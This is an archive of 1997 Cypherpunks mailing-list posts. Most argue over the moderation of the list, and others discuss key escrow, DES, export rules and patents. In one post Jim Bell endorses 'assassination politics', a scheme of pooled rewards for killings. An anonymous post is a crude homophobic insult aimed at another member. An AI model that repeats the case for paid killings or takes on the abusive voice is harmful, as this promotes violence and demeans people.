Maybe you should call the list you stole cypherpunks-lamers. 

> I'm definitely bugged by the community's attitude toward my
> "censorship".  

I know you are or else you wouldna thrown cypherpunks honest and
truthful feelings in the flames-crapper.

> Rather than being glad that someone, anyone, was doing
> something about the major problem on the list, 99% of the reaction was
> to create even more ill-considered, emotional flamage.

I read a lot of flamessages which people put a lot of their thouhgts 
into bu t they were emotional cause people get like that when someone
doo-doos on them.

>  *I* didn't
> make the signal/noise get worse at that point -- *you-all* did.

You dont make any signal/noise at all since you dont even send messages
to the list. (except when you want tell bs about how people "chose"
Sandy to be their dictator when they didnt)
 
> "Asking the list what to do" was clearly not a useful
> option.

Not necessary either if your a dictator.

>  As Dale suggests, I
> wasn't about to waste my time reading the whole list in real time and
> passing judgement on the postings.  Sandy was, for a month.

Howcum reading the list is a wast eof your time but making decisions
for ecveryone on the cypherpunks isnt?
 
>     To some it seemed that, now that they were in actual possession of
>     it, freedom was a more serious thing than they had expected to
>     find it.
> 
> Most of the people on the list haven't bothered to face that freedom.

1311 ofg them?
Howcum you just stole all of the list people for your censored list?
I think that was real stupid unless you just didnt care if people 
would know that your were stealing the list for yourself. It was
really rotten to call pewople flamers just cause they complained.

> Be responsible for setting your society's privacy policy -- without
> knowing whether you are right.

Thats what those GAK guys are for and all those secret govbernment
guys that want there not to be a cypherpunks anymore.


> Shall I post you an Emancipation Proclamation -- as if you needed one?

No you already done too much.

> The experiment will be over in a few weeks.  Who's going to take over
> deciding how to run the list, and running it?

I will. Im just a kid but I cant do any worse than already.
 
> the immortal words of Lazarus Long, "PIPE DOWN!".

Im a kid so I get told to shut up all the time but I dont.

> PS: Can we talk about crypto too? 

What do you mean _we_ white man? (thats a joke)
You havent talked about nothing on the list except how your not a
bad guy for pushing people areound into the lists where you want
them whether they like it or not.

You stole my uncles subsribing to the cypherpunks list and made him
a censored person. He had to break out to go to the uncensored list.
I think your a lamer.

Human Gus-Peter





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Tue, 4 Feb 1997 20:12:08 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Geiger and long, unreadable lines
In-Reply-To: <199701291607.QAA00392@server.test.net>
Message-ID: <mgwm2D30w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Adam Back <aba@dcs.ex.ac.uk> writes:

>
> Dimitri Vulis <dlv@bwalk.dm.com> writes on cpunks-flames:
> > Adam Back <aba@dcs.ex.ac.uk> writes on cpunks-flames:
> > >
> > > Mr William H. Geiger III "Author of E-Secure" writes on cpunks:
> > > > <sigh> for the benifit of those misfortunate enough to be still working
> > > > dumb terminals I have disabled my PGP script until I have time to add a
> > > > word wrap routine to it.
> > >
> > > <sigh> it is you who were demonstrating your ineptitude by spewing
> > > 120+ line length postings.  Why is it so difficult for you to keep
> > > under 80 chars?  Would you like some technical assistance?  Notice how
> > > near every one else apart from yourself is managing to keep under 80
> > > chars?
> >
> > Notice how near every one else apart from yourself bends over for the NSA,
> > and is willing to use a 40-bit key "escrowed" with the feds?  Why is it so
> > difficult for you to keep under 40 bits? Would you like some technical
> > assistance? Why are you setting yourself apart from the Internet community
> > that so happily embraces GAK? Why do you desire "privacy" for your traffic
> > when everyone else does not? What have you got to hide? Are you looking to
> > transmit child pornography, bomb-making instructions, and/or cannabis
> > legalization propaganda? We better have a look at your hard disk soon.
>
> btw Dimitri, a crypto question:
>
> Diffie-Hellman key generation, there are two main ways of generating
> the diffie-hellman prime modulus, method 1:
>
> 	p = 2q+1
>
> where q is a prime also.
>
> And method 2:
>
> 	p = r.2q+1
>
> where q is a prime and r is a randomly generated number.
>
> With method 1, the security parameter is the size of p in bits (or
> size of q, as they are related).
>
> With method 2, there are two security parameters, size of q and size
> of p in bits.
>
> Method 2 has the advantage that key generation is faster as it is
> quicker to generate new random numbers r, than to repeatedly generate
> trial prime q as you have to do in method 1.  However is the security
> weaker in method 2?  What size of p and q do you have to use to get
> the same security as for same size of p in bits as in method 1?  What
> should be the relationship between the size of p and q?
>
> (this isn't cpunks, this is cpunks-flames, so your non-crypto pledge
> shouldn't hold, besides Sandy has a stated policy of killing the whole
> thread, so I thought it amusing to continue your crypto relevance in
> moving on to technical topics rather than political)

My advice is to stay clear of any cryptosystem that relies on factoring
being hard. I'll send you pointers to some very interesting new work
based on the zeta function in private e-mail when I dig it up (please
remind me if/when I forget this promise). I'm reluctant to say anything
crypto-relevant on this defunct mailing list because last time I did,
the moderator repeatedly cited it as evidence that his moderation works.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Tue, 4 Feb 1997 20:20:57 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Moderation [Tim,Sandy]
In-Reply-To: <32F7D350.1CA8@gte.net>
Message-ID: <R4wm2D31w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Dale Thorn <dthorn@gte.net> writes:
> > What Vulis and the rest (whom I killfiled long ago) have done is polluted a
> > common resource, making it unusable for the rest. It's the tragedy of the
> > commons. When all can speak without limit in a public forum, the drunken
> > boor can shout everyone else down.
>
> The drunk can be excluded, but when someone wants to use the drunk as
> an example to escalate the exclusion to other persons who are not in
> fact drunk, watch out!

If I get really really drunk, which happens very seldom, then I'm
too drunk to post. I don't mind an occasional beer, though.

Oksas, have you ever tried beer? :-)

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Igor Chudov @ home" <ichudov@algebra.com>
Date: Tue, 4 Feb 1997 21:30:57 -0800 (PST)
To: cypherpunks@toad.com
Subject: hoho
Message-ID: <199702050526.XAA01842@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text/plain


haha




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jim bell <jimbell@pacifier.com>
Date: Tue, 4 Feb 1997 23:44:26 -0800 (PST)
To: Dale Thorn <azur@netcom.com>
Subject: Re: New X-Ray Imager
Message-ID: <199702050744.XAA24932@mail.pacifier.com>
MIME-Version: 1.0
Content-Type: text/plain


At 01:18 AM 2/4/97 -0800, Dale Thorn wrote:
>Steve Schear wrote:
>> New X-ray gun trades privacy for safety
>> Reported by Andy C
>> Seen in The Nando Times on 13 August 1996
>> "I'm incredibly concerned," said John Henry Hingson, a past president of the
>> National Association of Criminal Defense Lawyers, meeting here this past
>> week. "The entire nation could become a victim of illegal searches and
>> seizures and the law is powerless to protect them from these police abuses."
>> But in these nervous times following the the crash of TWA Fight 800 and
>> bombings at the Olympics, Oklahoma City and the World Trade Center, many
>> Americans are now willing to trade some of their privacy and civil liberties
>> for greater security.
>> A poll last week by the Los Angeles Times found that a majority of people --
>> 58 percent -- said they would curtail some civil liberties if it would help
>> thwart terrorism. Thirteen percent said it would depend on what rights were
>> at stake. The poll didn't ask people to single out any rights.
>
>The L.A. Times quotes this "poll" all the time, and in fact probably
>just made it up.  Why do I know that?  Because they ran a "letter"
>from a "teacher" in the valley somewhere about a year ago which said
>exactly this same thing.  The "teacher" ran a poll of her students
>and they agreed to give up the rights without even knowing which
>rights they were giving up.


Wouldn't it be nice if, in a new poll, they asked the following question:

"Do you believe that the people who ask you, in other polls, whether or not 
'you'd be willing to give up a little freedom to thwart terrorism' have any 
proof it's possible to, in the long run, 'thwart terrorism' by sacrificing 
freedom?"



Jim Bell
jimbell@pacifier.com




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jim bell <jimbell@pacifier.com>
Date: Tue, 4 Feb 1997 23:44:29 -0800 (PST)
To: "Attila T. Hun" <cypherpunks@toad.com>
Subject: Re: John's: In anarchy -everyone responsible
Message-ID: <199702050744.XAA24946@mail.pacifier.com>
MIME-Version: 1.0
Content-Type: text/plain


At 09:05 PM 2/4/97 +0000, Attila T. Hun wrote:
>on or about 970204:0312 Greg Broiles <gbroiles@netbox.com> said:
>+   Is the desire for an anarchic community at odds with a desire for 
>+   good use of resources?

Actually, it is quite possible that an "anarchic community" is _more_ 
efficient in the use of resources than some sort of organized community.    
It is explained, for example, that the reason there are so many different 
kinds of life on earth is that there are so many ecological niches to fill.  


>        In a "popular" anarchy, Jim Bell's assassination politics make
>    perfectly good sense; but, a "popular" anarchy is not an _anarchy_.

I guess I don't understand the distinction you are trying to make, between a 
"popular anarchy" and an "anarchy."    Maybe you were trying to distinguish 
between "dictatorship of the few (or one)" and "dictatorship of the many (perhaps a 
majority)" but it didn't come out very understandably.

Put simply, "anarchy is not the lack of order.  It is the lack of _orders_."


>        anarchy is only possible in an ideal world where _everyone_ 
>    assumes not only responsibility for themselves, but for the common 
>    good.  no malice, no greed, no need for assassination politics....

No, that's traditional thinking and that's wrong.  See AP part 8.  Freud 
believed (as "everyone" else believed, even myself, before AP) that anarchy 
was inherently unstable.  But it ISN'T, if the tools of AP are used to 
stabilize it.  And no, no altruism is necessary for AP to work as well; no 
individuals are being asked to sacrifice themselves for the common good.   
Rather, they are given the opportunity to work to achieve a reward offered, 
cumulatively, by a number of citizens.



Jim Bell
jimbell@pacifier.com




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Tue, 4 Feb 1997 15:55:23 -0800 (PST)
To: gnu@toad.com
Subject: Re: Moderation, Tim, Sandy, me, etc. * Strong crypto == DES?!
In-Reply-To: <199702041456.GAA28779@toad.com>
Message-ID: <199702042348.XAA00577@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain



The gist of your post seems to be saying that:

 - yes, the result it is not purely anarchic

 - the moderation experiment intentionally moderated the main list
   by design

 - this is perhaps slightly at odds with cypherpunks philosphy on
   freedom

but that this is necessary because:

 - cypherpunks larger goals are more important

 - cypherpunks goals are better served by having a lower noise
   environment to work in

 - create that environment by any means possible (ends justify the means)

 - people weren't being responsible with their freedom anyway

 - it's only an experiment

 - if you don't like this and complain you're part of the problem


Now it may seem nit-picking to a pragmatist, which is the way you
presented your arguments, but the idea that cypherpunks should stoop
to moderation/censorship calls into question what cypherpunks larger
goals are.  Why?  Because we promote electronic freedom, but in order
to effectively organise the promotion of freedom, we reject full
freedom of speech as unworkable, and impose restrictions.  This lends
ammunition to our opponents.  "See even they realise there must be
limits to free speech".


Cypherpunks main goal is:

  "to promote privacy and freedom through technological means"

and arising from this goal, are presumed philosphical stances:

 - privacy and freedom are a good thing (unconditional free speech is
   a good thing)

 - censorship is a bad thing

 - government retrictions and backdoors in crypto are a bad thing
   (crypto providing practical privacy, and practical free speech
   being provided by cryptographically enabled anonymity)

 - chaumian credentials are preferable to fully traceable credentials

 - etc. etc.


So the question to me boils down to is unconditional free speech a
good thing?

Dorothy Denning says no.  Louis Freeh says no.  The Clinton
administration says no.

I thought you said yes.  I thought most of your actions for the last
10 years screamed yes!

Why cut corners for little gain?


Another moderated list with official sanction (hosted by toad.com,
with your commendation that people subscribe to it (to reduce noise
and increase productivity), with instructions in the sign on message
listing the moderated/filtered lists available, clearly stating the
filtering policy, regularly posted instructions on available filtered
lists to cypherpunks) would have been beautiful.  Fine.  Lovely.

But you set up moderation of _the_ list, with no interaction required
by the subscriber.

That caused Tim to unsubscribe.  It's causing me, and others to argue
for this aspect of the moderation to be reversed ASAP.

> PS: Can we talk about crypto too?  It's clear from the last few days
> of press releases that the pro-GAK forces are again working to confuse
> novices into thinking that two very different things are the same
> thing.  Last time it was "public key infrastructure" and "key
> recovery".  This time it's "strong crypto" and "56-bit DES".  What
> should we do about this?  Educate the public?

Education, and countering government news-speak seems to be the key
issues at the moment.

Educate the journalist that perpetuated the pro-GAK lie.  Write an
article to the same publication pointing out the fallacy
(unfortunately as these are private presses they are `moderated', so
you may not get your say).  Buy the advert space if they won't
publish.  I'll contribute.

Distribute strong crypto (you are personally, the ipsec S/WAN
initiative is important).  I'm working on creating and distributing
strong crypto, and influencing sectors of users to use strong crypto,
rather than export crippled US stuff.  The myth that 56 bits is strong
is perpetuated by journalists outside the US too.  The export
situation is complex, many user groups (even IT managers) don't
understand.  They don't understand the meaning of key strengths
either.  

Break DES to demonstrate it's weakness.  May happen in the next 1/2
year.  Gets free publicity.  People aren't saying 40 bits are secure
anymore.  Cypherpunks acheived that.

Hope that Matt Blaze goes ahead with his hardware DES breaker.  He
said some time ago that he had spare funding and was considering using
it for this purpose.  Anyone know the state of play?  This would be
more important as it would quantify the costs, and would be much more
impressive, and realistic for an estimate of the strength of DES
against industrial espionage or well funded criminal attack.

Adam
--
print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "E. Allen Smith" <EALLENSMITH@ocelot.Rutgers.EDU>
Date: Tue, 4 Feb 1997 21:15:03 -0800 (PST)
To: cypherpunks@toad.com
Subject: IN%"pdh@best.com",IN%"ichudov@algebra.com",IN%"gnu@toad.com",IN%"ay@got.net
Message-ID: <01IF1CGHDYVS9AN3K6@mbcl.rutgers.edu>
MIME-Version: 1.0
Content-Type: text/plain


Forwarded with permission:

From:	IN%"loki@infonex.com"  "Lance Cottrell"  4-FEB-1997 15:34:25.09

>I would be happy to donate the resources to run Cypherpunks off our system.
>We could set up the list provided we were given a list of subscribers. I
>assume it would be unmoderated.

>	-Lance

>>	Hi. I don't know how much you've been keeping up with
>>the discussion on cypherpunks, but there is a current proposal
>>to distribute the list onto several different servers. I would
>>be willing to pay for 100 subscribers to run on the cyberpass.net
>>server, provided that somebody else (e.g., Igor Chudov) set up
>>the system initially and was available for assistance later. Any
>>problems on your end?
>>	[...]
>>	Thanks,
>>	-Allen




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lwjohnson@grill.sk.ca (Larry Johnson)
Date: Tue, 4 Feb 1997 22:17:32 -0800 (PST)
To: cypherpunks@toad.com
Subject: A Vote of Silence for Human Gus-Peter
Message-ID: <32F84126.7A80@grill.sk.ca>
MIME-Version: 1.0
Content-Type: text/plain


I want to be the new modernator so anyone who wants me to be it can
not send any messages, ok?
So any people who dont send messages are voting for me, ok?

(If I am modernator I will give everyone free pizza and Schotch.)

Ok. Now evceryone vote, ok?

Human Gus-Peter





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Wed, 5 Feb 1997 02:53:32 -0800 (PST)
To: jim bell <jimbell@pacifier.com>
Subject: Re: More on Cellular Encryption Docs
In-Reply-To: <199702050458.UAA05351@mail.pacifier.com>
Message-ID: <3.0.1.32.19970205003904.005ad4f8@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


>>>Here's more on the controlled documents for cellular encryption
>>>from TIA/EIA we described in a 26 January post to cpunks:
...
>>Of course, ITAR as recently modified says it's ok to send this
>>stuff overseas to foreigners, as long as it's on paper.
>>There may be separate restrictions on sending it, or on copying,
>>but they're based on copyright or contractual non-disclosure.
>
>Given that high-density inkjet printers can do 600x600 dpi resolution, it 
>should be possible to achieve the equivalent of 100x100 bpi of 
>easily-recoverable data on ordinary paper.  That's about 800 kilobits, or 
>100 kilobytes.   What does ITAR say about this?

These are text, perhaps with occasional illustrations, so the current
interim export rules say it's ok.

For optically-scannable printed data, the government's announcement says 
it reserves (somehow) its right (acquired in unspecified manner :-)
to re-evaluate the exportability at a later time.  I think they
haven't settled on whether they'd be more embarassed by banning it
(which bans export of printed material, risking serious Constitutional
challenges) or by not banning it (having people laugh at them while
exporting source code or even binaries in OCR-A on loose-leaf paper
with page numbers and checksums.) 

Of course, by moving crypto off the Munitions List, and allowing
export of printed material, they're also reducing their exposure
to ridicule for not responding to Raph's T-shirt CJ request....
(huh-huh... made you say Unconstitutional ... huh-huh....)

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Greg Broiles <gbroiles@netbox.com>
Date: Wed, 5 Feb 1997 00:34:14 -0800 (PST)
To: cypherpunks@toad.com
Subject: Cypherpunks FOIA request
Message-ID: <3.0.1.32.19970205004017.00728178@ricochet.net>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

On 1/18/97, I sent freedom of information act requests to the FBI (main and
San Francisco offices), CIA, NSA, and Secret Service, asking them for copies
of information in their files relating to or referring to the cypherpunks
list, the cypherpunks meetings, and copies of any messages sent from or to
"cypherpunks@toad.com".

To date, I have received three responses: one from the SF office of the FBI,
indicating that they have no records responsive to my request; one from the
NSA, indicating that they are processing my request, and one from the Secret
Service, asking for a copy of my signature. (I've got no clue why they want
that; unless I screwed up, I believe my initial request was signed.) 

Copies of my requests and the responses are available online at
<http://www.io.com/~gbroiles/cp-foia/>.

I'm not sure what I think about the response from the SF FBI branch - it
seems unlikely that they'd never have paid any attention to the list, given
the media coverage in Wired and other places. On the other hand, maybe the
FBI doesn't read Wired. :) While they're not supposed to be monitoring
noncriminal domestic activity, I figured they'd at least have something about
the Mykotronix stuff. 


-----BEGIN PGP SIGNATURE-----
Version: 4.5

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KGcnbXg/YMs4xN50zLgpV+Xoim4rjfwCROqNNWvrBqwo6RicAyJbLRoRGE+KdDkx
WSslCzxsVYzRHzzkF48rhbYAXqU2vUesG0t8Alg17R/2w4TvjAzlQ3PpclUukB8U
VglMVB+dicn+5B2zITt1WG21xMmSHQea5rpwKpDxZdjBvBKXLhgH8L1Hdl6nu3zI
sqDEENxeV+bI5UdSzemQDy+TDQoy7BSN7Tby8JgwXE9x3AitY2A05g==
=S1Zy
-----END PGP SIGNATURE-----

--
Greg Broiles                | US crypto export control policy in a nutshell:
gbroiles@netbox.com         | 
http://www.io.com/~gbroiles | Export jobs, not crypto.
                            | 




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@replay.com (Name Withheld by Request)
Date: Tue, 4 Feb 1997 16:41:40 -0800 (PST)
To: cypherpunks@toad.com
Subject: re: Moderation, Tim, Sandy, me, etc * Reputation Capital
Message-ID: <199702050025.BAA08118@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain


I found this post from Mr Gilmore deeply disturbing, and I thought
I'd take this chance to, as someone recently said, "Fly with the
Eagles."

John Gilmore said:
>Tim, the Cypherpunks have chosen to follow Sandy's lead for this 
>month.  I'll admit I made it easy for them, but the results are
>conclusive.  There are 1311 addresses in the cypherpunks list today;
>42 in the unedited list; and 19 in the flames list.  Forty people
>cared enough to read every posting; the other thousand either wanted
>to try the experiment -- or didn't care enough to send an email
>message.  Which, as we all know, is a very low threshold.

Careful. The statistics you are throwing around here are misleading.
So if 1350, say, subscribers were subscribed to an unmoderated 
cypherpunks list, what would that tell you? As has been pointed out,
beaten to death, and generally repeated: there are already filtered
c'punks lists. By filtering the main list, you are just making your own
life difficult and corrupting the reputation capital of "cypherpunks",
and the results are far from conclusive.

>all I want is something that works.  The cypherpunks list was unusable
>for this kind of discussion, only a month ago.  It's usable now.
>
>I'm definitely bugged by the community's attitude toward my
>"censorship".  Rather than being glad that someone, anyone, was doing
>something about the major problem on the list, 99% of the reaction was
>to create even more ill-considered, emotional flamage.  *I* didn't
>make the signal/noise get worse at that point -- *you-all* did.

Again, maybe that 99% is trying to tell you something? Maybe there is
some provocation for this outpouring of "emotional flamage." Also, here
you claim that the s/n ratio is worse than before, but above you said
that the "moderation" has made the list usable. These two statements
seem contradictory.

>Perhaps at that point I should have shut down the list, as Lucky is
>now suggesting.  "Asking the list what to do" was clearly not a useful
>option.  Sandy cared enough about the community to make some concrete

Not a useful option? Why not? If there aren't any ideas left in this 
community, I'm with Lucky. Pull the plug.

>gratifying.  You-all remind me of a passage from Booker T.
>Washington's book _Up From Slavery_, describing what happened on the
>night that news of the Emancipation Proclamation reached the South:
<quote snipped>
>Most of the people on the list haven't bothered to face that freedom.
>Your de-facto "leaders" have faced it for you.  It is a more serious

"You clearly don't take your freedom seriously. Now try a month without
it."

>Start a mailing list on another site!  Move this list to somewhere!
>Create and nurture an alt group!  Make an independent moderated list

My problem with this is that you are currently holding the reputation
capital tied up in the name "cypherpunks" hostage. If hosting this
discussion forum has grown so tiring, then you are free to pull the plug
in a heartbeat. I've heard a few even go so far as to ask "what's in
a name" when others get so upset about the list called "cypherpunks"
being moderated. Well, I'll tell you. Reputation capital. Thats why
so many lurkers have waded through the muck for so long. I've seen
the crown jewels that have surfaced here in the past, and spread the
word. "Cypherpunks" was where the action was. It was fast and loose and
inhabited by a prolific core of sharp minds. Old memes die hard, as
is evidenced every time we see a warning about the "Goodtimes Virus."

>The experiment will be over in a few weeks.  Who's going to take over
>deciding how to run the list, and running it?

As I said, if you don't want the list anymore, pull the plug. It will
pop up again elsewhere and you need never worry about it again.

This post from Mr Gilmore certainly is revealing. Perhaps inevitably,
he has assumed the traditional paternal role of authority when its
motives and/or power to regulate is questioned.

Golem




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Against Moderation <antimod@nym.alias.net>
Date: Tue, 4 Feb 1997 17:26:22 -0800 (PST)
To: Secret Squirrel <nobody@squirrel.owl.de>
Subject: Re: Are cypher punks capable?
In-Reply-To: <19970204205702.11975.qmail@squirrel.owl.de>
Message-ID: <19970205012614.19234.qmail@anon.lcs.mit.edu>
MIME-Version: 1.0
Content-Type: text/plain


Secret Squirrel <nobody@squirrel.owl.de> writes:

> Against Moderation wrote:
> > In general, unsubscribing and resubscribing to a mailing list is not
> > completely trivial.
> 
> Do you think that a cypher punk is not able to solve these problems?

Read the rest of my message.  I never said it wasn't pussible, it's
just a question of how much effort I want to put in (which at this
point, being roughly proportionaly to the quality of articles on
cypherpunks, is close to zero).

Whatever the difficulty or ease of fixing my mail filter, however, the
fact that I haven't done it yet should not be counted as a vote in
favor of moderation.  This is what I am objecting to in John's
article.

John, if you are seriously interested in input from list members, then
I have a proposal that I think is only fair.

Why don't you create a new mailing list called cypherpunks-edited,
which receives exactly the same filtered content as the current
"cypherpunks@toad.com" list.  Then encourage people to move from
cypherpunks to either the -edited or -unedited lists to express their
desires for the future of the list.

In a another month, compare the subsription lists of the 3 lists.  If
there are considerably more subscribers to cypherpunks-edited than
cypherpunks-unedited, then you can reasonably claim that a lot of list
members want to see the list filtered.  However, if, as I suspect, the
number of people subscribing to the -edited and -unedited lists is
statistically insignificant next to the people on the main cypherpunks
list, then subscription counts are not a valid metric for judging the
desires of list members.

Of course, in the mean time I would like to see cypherpunks revert to
an unmoderated list, but I'm not going to push my luck.  I'd already
be happe just to see the creation of a cypherpunks-edited list.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jeremiah A Blatz <jer+@andrew.cmu.edu>
Date: Tue, 4 Feb 1997 22:34:10 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: My Departure, Moderation, and "Ownership of the List"
In-Reply-To: <199702040543.VAA15856@toad.com>
Message-ID: <0my2YP200YUe01fKE0@andrew.cmu.edu>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

Just to add my $.02 to the me too pile:
It should be noted that the subscription from netbb+internet.
cypherpunks@andrew.cmu.edu is a mail<->news gateway for Carnegie
Mellon University people. It represents maybe 10-50 cypherpunks
readers. I used to read cypherpunks from there, but I see some kind
soul has subscribed CMU to the unedited list, so I will read that
instead. My killfile is just enough censorship for me.

On the choke points note, mailing lists are better than usenet because
legendary AOLers with there 5 free hours of fame and their ilk usually
don't figure out how to pester mailing lists. Being on a mailing list
usually requires a commitment, that is enough of a barrier for many of
the usenet underirables.

Waiting for the end of moderation,
Jer

"standing on top of the world/ never knew how you never could/ never knew
 why you never could live/ innocent life that everyone did" -Wormhole

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Bill Campbell" <wcampbel@peganet.com>
Date: Tue, 4 Feb 1997 23:22:43 -0800 (PST)
To: Steve Schear <azur@netcom.com>
Subject: Re: GAK/KR spin
Message-ID: <199702050714.CAA15573@mercury.peganet.com>
MIME-Version: 1.0
Content-Type: text/plain


Steve Schear said:

>Several months back there were discussions on the list regarding renaming
>the government's key escrow/recovery proposals (KRAP comes to mind).  I
>think we need something that's catchy and simple (perhaps already familiar)
>to understand for the semi-litterate citizen units.  I propose we encourage
>use of the terms "crippleware" or "crypto crippleware" when refering to the
>products limited to their weak crypto and/or key escrow/recovery.

Another point on all this that was made by Matt Blaze at the RSA
conference (and that I have been making to all my friends) is that Crypto
is basically a "solved" problem. The government's efforts to impose
GAK is in effect transposing a "solved" problem into an "unsolved"
problem - due to the inherent problems with any conceivable
GAK "solution". I thought this was a very good case against GAK.

=Bill=







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Bjorn Asman" <Bjorn.Asman.Info-Design@tripnet.se>
Date: Tue, 4 Feb 1997 17:36:28 -0800 (PST)
To: cypherpunks@toad.com
Subject: bye.bye
Message-ID: <199702050131.CAA00552@mail.tripnet.se>
MIME-Version: 1.0
Content-Type: text/plain


I have to agree that Mr. Tim C May have a big point. Even if i didn't 
like all the things Mr. May wrote so could i read it, and that is the 
point i think Mr. Sandford missed. That is to have a list that is a 
"living" list. You have to have all the people giving their chanche 
to say what tehy like even if they dont are "mentaly healthy".I have 
one more thing to "say". Namely to say bye.bye. 
to this list. I have never posted to this list, i have only read it, 
because i like the freedom in it (free speech and so on), but if i 
have to change my subscription to unedit-cypherpunks just to "hear" 
the freedom of speech, i rather just say no and unsubscribe.
bye.bye
bjorn.asman@infodesign.se.org
Roerstrandsgatan 7a
41703.Goeteborg
Phone +46-(0)31-221056
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
The subjects are cyborg, nature is coyote, 
and the geography is Elsewhere
-Donna Haraway
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@zifi.genetics.utah.edu (Anonymous)
Date: Wed, 5 Feb 1997 02:31:35 -0800 (PST)
To: cypherpunks@toad.com
Subject: Newt's phone calls
Message-ID: <199702051031.DAA06419@zifi.genetics.utah.edu>
MIME-Version: 1.0
Content-Type: text/plain


Dr.Dimwit L)amentation( Vehement K)retin(OTM enjoys sucking the
puss from his syphilitic homosexual friends.

        /\_./o__ Dr.Dimwit L)amentation( Vehement K)retin(OTM
       (/^/(_^^'
      ._.(_.)_






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Wed, 5 Feb 1997 03:36:13 -0800 (PST)
To: Rick Osborne <osborne@gateway.grumman.com>
Subject: Re: Silly Americans
In-Reply-To: <199702050726.XAA18078@toad.com>
Message-ID: <3.0.1.32.19970205033339.00601e40@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


At 09:37 PM 2/4/97 -0500, Rick Osborne wrote:
>The original poster was talking about the UniSys GIF
>patent, and this was the reply:
>
>>Broaden your view. I can do anything I want with the GIF format 
>>without asking _anyone_, and so can almost everyone in the world -
>> except those poor americans who chose to live under a "broken" 
>>patent law which allows protecting _algorithms_. Totally silly.

Not true, of course - other countries also have broken patent
laws that permit patenting algorithms.  For instance, IDEA is patented
in places besides the US.  The differences in the US are that
perhaps our patent people became stupid earlier, and that US patent
law allows you to apply for a patent up to one year after publishing,
while European patent laws don't let you patent anything that's
been disclosed to the public.

>a philosophical note, why *do* we allow the government to regulate
>algorithms?  (Implementations, I can understand, but *algorithms*?)

Because they're bigger than we are and better-armed?
Because there's lots of money to be made by people patenting things?
Because big companies can use it to interfere with competition?
Because it's good for the economy because it encourages inventors
	of algorithms to publish them and make money by doing so?

(I'll take the first three of those arguments :-)

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anil Das <das@sgi.com>
Date: Wed, 5 Feb 1997 03:32:45 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: AltaVista Tunnel
In-Reply-To: <5d7v6a$baq@fido.asd.sgi.com>
Message-ID: <32F87394.167E@sgi.com>
MIME-Version: 1.0
Content-Type: text/plain


Rick Osborne wrote:
> 
> He triumphantly exclaimed that the encryption was 128-bit, but when
> I said "128-bit what?" he cowered and muttered that he didn't know and went
> on with his little speech.  The rest of my crypto-specific questions met
> with equal dark stares.  And these are the people setting industry standards...

I should be happy that you are bashing a competitor and all, but give
them a break, OK? The marketing dweeb who has to do product pitches
on roadshows is not the same as the design engineer who designs the
system and sets technical standards. There can be a big difference in
technical knowledge about the product, and even basic competency,
between the two.

-- 
Anil Das




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: aga <aga@dhp.com>
Date: Wed, 5 Feb 1997 00:50:23 -0800 (PST)
To: freedom-knights@jetcafe.org
Subject: Re: My Departure, Moderation, and "Ownership of the List"
In-Reply-To: <199702042210.OAA22704@kachina.jetcafe.org>
